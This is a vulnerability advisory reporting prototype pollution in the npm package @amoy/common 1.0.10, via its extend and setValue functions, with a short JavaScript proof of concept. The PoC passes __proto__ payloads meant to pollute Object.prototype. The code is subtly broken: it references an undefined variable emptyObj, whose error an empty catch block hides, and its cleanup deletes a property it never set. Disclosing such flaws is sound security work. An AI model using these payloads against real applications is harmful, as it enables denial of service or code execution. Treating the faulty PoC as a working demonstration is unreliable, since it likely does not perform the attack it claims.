Vulnerability Advisory

Advisory_amoyjs.md

Vulnerability type: Prototype Pollution

Vendor of the Package: amoyjs

Affected Package:

• Product: @amoy/common
• Version: 1.0.10

Affected component(s):

extend, setValue

Attack vector(s): the attacker can modify built-in Object.prototype by calling the vulnerable function: extend, setValue with an argument containing a special property __proto__ to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

Description: Affected versions of this package are vulnerable to Prototype Pollution through the vulnerable function: extend, setValue. An attacker can alter the behavior of all objects inheriting from the affected prototype by passing arguments to the vulenrable function crafted with the built-in property: __proto__. The attack can potentially escalated to Denial of service, remote code execution or cross-site scripting attacks depends on the gadgets that may affected by the attack

Proof-of-Concept:

(async () => {
  const lib = await import('@amoy/common');

  var victim = {}

  console.log("Before Attack: ", JSON.stringify(victim.__proto__));

  try {

  lib.extend (emptyObj, JSON.parse('{"__proto__":{"test":123}}'))
lib.setValue (emptyObj, "__proto__.test", 123)

  } catch (e) { }

  console.log("After Attack: ", JSON.stringify(victim.__proto__));

  delete Object.prototype.polluted;

  })();